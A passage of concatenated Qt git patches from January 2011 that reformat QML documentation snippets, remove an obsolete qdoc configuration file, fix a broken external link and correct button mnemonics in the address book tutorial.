+  Item {
+      Image {
+          id: pic
+          // ...
+      }
+      Text {
+          id: label
+          anchors.left: pic.right
+          anchors.leftMargin: 5
+          // ...
+      }
+  }
   \endqml
   \endtable
 
diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
index 4e049c7..e0bd2ff 100644
--- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp
@@ -364,9 +364,13 @@ void QDeclarativeBasePositioner::finishApplyTransitions()
   \qml
   Column {
       spacing: 2
-      add: ...
-      move: ...
-      ...
+      add: Transition {
+          // Define an animation for adding a new item...
+      }
+      move: Transition {
+          // Define an animation for moving items within the column...
+      }
+      // ...
   }
   \endqml
 
diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
index 403f12c..d962919 100644
--- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp
+++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp
@@ -60,7 +60,10 @@ QT_BEGIN_NAMESPACE
 
     Example:
     \qml
-    Rectangle { border.width: 2; border.color: "red" ... }
+    Rectangle {
+        border.width: 2
+        border.color: "red"
+    }
     \endqml
 */
 
diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
index 2f3c8e5..79aa18d 100644
--- a/src/declarative/graphicsitems/qdeclarativetext.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
@@ -558,11 +558,24 @@ QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixma
     \brief The Text item allows you to add formatted text to a scene.
     \inherits Item
 
-    A Text item can display both plain and rich text. For example:
+    Text items can display both plain and rich text. For example, red text with
+    a specific font and size can be defined like this:
 
     \qml
-    Text { text: "Hello World!"; font.family: "Helvetica"; font.pointSize: 24; color: "red" }
-    Text { text: "Hello World!" }
+    Text {
+        text: "Hello World!"
+        font.family: "Helvetica"
+        font.pointSize: 24
+        color: "red"
+    }
+    \endqml
+
+    Rich text is defined using HTML-style markup:
+
+    \qml
+    Text {
+        text: "Hello World!"
+    }
     \endqml
 
     \image declarative-text.png
@@ -789,12 +802,20 @@ void QDeclarativeText::setText(const QString &n)
 
     The text color.
 
+    An example of green text defined using hexadecimal notation:
     \qml
-    //green text using hexadecimal notation
-    Text { color: "#00FF00"; ... }
+    Text {
+        color: "#00FF00"
+        text: "green text"
+    }
+    \endqml
 
-    //steelblue text using SVG color name
-    Text { color: "steelblue"; ... }
+    An example of steel blue text defined using an SVG color name:
+    \qml
+    Text {
+        color: "steelblue"
+        text: "blue text"
+    }
     \endqml
 */
 QColor QDeclarativeText::color() const
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
index 57a2177..cb308f4 100644
--- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
+++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
@@ -520,10 +520,10 @@ void QDeclarativeTextInput::select(int start, int end)
     It is equivalent to the following snippet, but is faster and easier
     to use.
 
-    \qml
+    \js
     myTextInput.text.toString().substring(myTextInput.selectionStart,
         myTextInput.selectionEnd);
-    \endqml
+    \endjs
 */
 QString QDeclarativeTextInput::selectedText() const
 {
diff --git a/src/declarative/util/qdeclarativestategroup.cpp b/src/declarative/util/qdeclarativestategroup.cpp
index 7aeea12..f1d0997 100644
--- a/src/declarative/util/qdeclarativestategroup.cpp
+++ b/src/declarative/util/qdeclarativestategroup.cpp
@@ -102,10 +102,10 @@ public:
            id: myStateGroup
            states: State {
                name: "state1"
-               ...
+               // ...
            }
            transitions: Transition {
-               ...
+               // ...
            }
        }
 
@@ -140,11 +140,15 @@ QList QDeclarativeStateGroup::states() const
 
   \qml
   StateGroup {
-    states: [
-      State { ... },
-      State { ... }
-      ...
-    ]
+      states: [
+          State {
+              // State definition...
+          },
+          State {
+              // ...
+          }
+          // Other states...
+      ]
   }
   \endqml
 
@@ -197,11 +201,15 @@ void QDeclarativeStateGroupPrivate::clear_states(QDeclarativeListProperty QDeclarativeStateGroup::transit
   This property is often used in scripts to change between states. For
   example:
 
-  \qml
-    function toggle() {
-        if (button.state == 'On')
-            button.state = 'Off';
-        else
-            button.state = 'On';
-    }
-  \endqml
+  \js
+  function toggle() {
+      if (button.state == 'On')
+          button.state = 'Off';
+      else
+          button.state = 'On';
+  }
+  \endjs
 
   If the state group is in its base state (i.e. no explicit state has been
   set), \c state will be a blank string. Likewise, you can return a
diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
index 7da4ecd..c582df1 100644
--- a/src/declarative/util/qdeclarativexmllistmodel.cpp
+++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
@@ -90,8 +90,11 @@ typedef QPair QDeclarativeXmlListRange;
     \qml
     XmlListModel {
         id: xmlModel
-        ...
-        XmlRole { name: "title"; query: "title/string()" }
+        // ...
+        XmlRole {
+            name: "title"
+            query: "title/string()"
+        }
     }
 
     ListView {
@@ -792,9 +795,9 @@ void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarati
 
     This will access the \c title value for the first item in the model:
 
-    \qml
-        var title = model.get(0).title;
-    \endqml
+    \js
+    var title = model.get(0).title;
+    \endjs
 */
 QScriptValue QDeclarativeXmlListModel::get(int index) const
 {
-- 
cgit v0.12


From 67601dec71ee5b1ab1dd66bb55e00889bfeccb42 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Mon, 24 Jan 2011 16:12:48 +0100
Subject: Removed a configuration file that can no longer be used.

---
 tools/qdoc3/test/qt-webxml.qdocconf | 12 ------------
 1 file changed, 12 deletions(-)
 delete mode 100644 tools/qdoc3/test/qt-webxml.qdocconf

diff --git a/tools/qdoc3/test/qt-webxml.qdocconf b/tools/qdoc3/test/qt-webxml.qdocconf
deleted file mode 100644
index 80ced42..0000000
--- a/tools/qdoc3/test/qt-webxml.qdocconf
+++ /dev/null
@@ -1,12 +0,0 @@
-include(qt.qdocconf)
-
-quotinginformation      = true
-imagedirs               = $QTDIR/doc/src/images \
-                          $QTDIR/examples \
-			  $QTDIR/doc/src/template/images
-
-outputdir               = $QTDIR/doc/webxml
-outputformats           = WebXML
-
-generateindex           = true
-url                     = .
-- 
cgit v0.12


From ee9f4d82f4259a8db11a56808acab77eb21e3510 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Tue, 25 Jan 2011 13:26:29 +0100
Subject: Doc: Fixed qdoc warning.

---
 src/plugins/bearer/icd/dbusdispatcher.cpp | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/plugins/bearer/icd/dbusdispatcher.cpp b/src/plugins/bearer/icd/dbusdispatcher.cpp
index 5fc2a38..5f9be74 100644
--- a/src/plugins/bearer/icd/dbusdispatcher.cpp
+++ b/src/plugins/bearer/icd/dbusdispatcher.cpp
@@ -51,10 +51,10 @@
 namespace Maemo {
 
 /*!
-    \class DBusDispatcher
+    \class Maemo::DBusDispatcher
 
-    \brief DBusDispatcher is a class, which is able to send DBUS method call
-    messages and receive unicast signals from DBUS object.
+    \brief DBusDispatcher is a class that can send DBUS method call
+    messages and receive unicast signals from DBUS objects.
 */
 
 class DBusDispatcherPrivate
-- 
cgit v0.12


From c53832da5da7ad6cec6e809c30a06c8771bb9885 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Tue, 25 Jan 2011 13:42:22 +0100
Subject: Doc: Fixed a broken link.

---
 doc/src/external-resources.qdoc | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/doc/src/external-resources.qdoc b/doc/src/external-resources.qdoc
index 4003e56..7639324 100644
--- a/doc/src/external-resources.qdoc
+++ b/doc/src/external-resources.qdoc
@@ -453,3 +453,8 @@
     \externalpage http://www.libusb.org/
     \title libusb
 */
+
+/*!
+    \externalpage http://publicsuffix.org/
+    \title publicsuffix.org
+*/
-- 
cgit v0.12


From 422514d98ac9a6c4df36caad81e6f315f3b80086 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Tue, 25 Jan 2011 13:43:32 +0100
Subject: Doc: Fixed broken QML code snippets.

---
 doc/src/declarative/qdeclarativeintro.qdoc        | 17 +++++++++--------
 src/declarative/util/qdeclarativexmllistmodel.cpp |  2 ++
 2 files changed, 11 insertions(+), 8 deletions(-)

diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
index 4b7dce5..9b96d43 100644
--- a/doc/src/declarative/qdeclarativeintro.qdoc
+++ b/doc/src/declarative/qdeclarativeintro.qdoc
@@ -160,19 +160,19 @@ characters other than letters, numbers and underscores.
 
 JavaScript expressions can be used to assign property values. For example:
 
-\code
+\qml
 Item {
     width: 100 * 3
     height: 50 + 22
 }
-\endcode
+\endqml
 
 These expressions can include references to other objects and properties, in which case
 a \l{Property Binding}{binding} is established: when the value of the expression changes,
 the property to which the expression is assigned is automatically updated to the
 new value. For example:
 
-\code
+\qml
 Item {
     width: 300
     height: 300
@@ -183,7 +183,7 @@ Item {
         color: "yellow"
     }
 }
-\endcode
+\endqml
 
 Here, the \l Rectangle object's \c width property is set relative to the width
 of its parent. Whenever the parent's width changes, the width of the \l Rectangle is
@@ -330,7 +330,7 @@ element that attaches \e property.
 For example, the \l ListView element attaches the \e ListView.isCurrentItem property
 to each delegate it creates:
 
-\code
+\qml
 Component {
     id: myDelegate
     Text {
@@ -338,10 +338,13 @@ Component {
         color: ListView.isCurrentItem ? "red" : "blue"
     }
 }
+\endqml
+
+\qml
 ListView {
     delegate: myDelegate
 }
-\endcode
+\endqml
 
 Another example of attached properties is the \l Keys element which
 attaches properties for handling key presses to
@@ -390,6 +393,4 @@ MouseArea {
     }
 }
 \endqml
-
-
 */
diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
index c582df1..6b13e88 100644
--- a/src/declarative/util/qdeclarativexmllistmodel.cpp
+++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
@@ -96,7 +96,9 @@ typedef QPair QDeclarativeXmlListRange;
             query: "title/string()"
         }
     }
+    \endqml
 
+    \qml
     ListView {
         model: xmlModel
         delegate: Text { text: title }
-- 
cgit v0.12


From 67fbf125f3f96ea0ff0da66b1dd8b7dd348ca69f Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Tue, 25 Jan 2011 13:46:42 +0100
Subject: Doc: Fixed errors in the address book tutorial.

Task-number: QTBUG-16865
---
 doc/src/tutorials/addressbook.qdoc                   | 2 +-
 examples/tutorials/addressbook/part6/addressbook.cpp | 2 +-
 examples/tutorials/addressbook/part7/addressbook.cpp | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/doc/src/tutorials/addressbook.qdoc b/doc/src/tutorials/addressbook.qdoc
index cbc918f..ec4a4f3 100644
--- a/doc/src/tutorials/addressbook.qdoc
+++ b/doc/src/tutorials/addressbook.qdoc
@@ -831,7 +831,7 @@
     \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2
 
     Although it is not shown here, just like the other features we implemented,
-    we add the push buttons to the layout panel on the right, \c button1Layout,
+    we add the push buttons to the layout panel on the right, \c buttonLayout1,
     and we connect the push buttons' \l{QPushButton::clicked()}{clicked()}
     signals to their respective slots.
 
diff --git a/examples/tutorials/addressbook/part6/addressbook.cpp b/examples/tutorials/addressbook/part6/addressbook.cpp
index 64615c7..c7dc8e2 100644
--- a/examples/tutorials/addressbook/part6/addressbook.cpp
+++ b/examples/tutorials/addressbook/part6/addressbook.cpp
@@ -74,7 +74,7 @@ AddressBook::AddressBook(QWidget *parent)
 //! [tooltip 1]    
     loadButton->setToolTip(tr("Load contacts from a file"));
 //! [tooltip 1]        
-    saveButton = new QPushButton(tr("Sa&ve..."));
+    saveButton = new QPushButton(tr("&Save..."));
 //! [tooltip 2]
     saveButton->setToolTip(tr("Save contacts to a file"));
 //! [tooltip 2]
diff --git a/examples/tutorials/addressbook/part7/addressbook.cpp b/examples/tutorials/addressbook/part7/addressbook.cpp
index b04198c..501ad31 100644
--- a/examples/tutorials/addressbook/part7/addressbook.cpp
+++ b/examples/tutorials/addressbook/part7/addressbook.cpp
@@ -72,7 +72,7 @@ AddressBook::AddressBook(QWidget *parent)
 
     loadButton = new QPushButton(tr("&Load..."));
     loadButton->setToolTip(tr("Load contacts from a file"));
-    saveButton = new QPushButton(tr("Sa&ve..."));
+    saveButton = new QPushButton(tr("&Save..."));
     saveButton->setToolTip(tr("Save contacts to a file"));
     saveButton->setEnabled(false);
 
-- 
cgit v0.12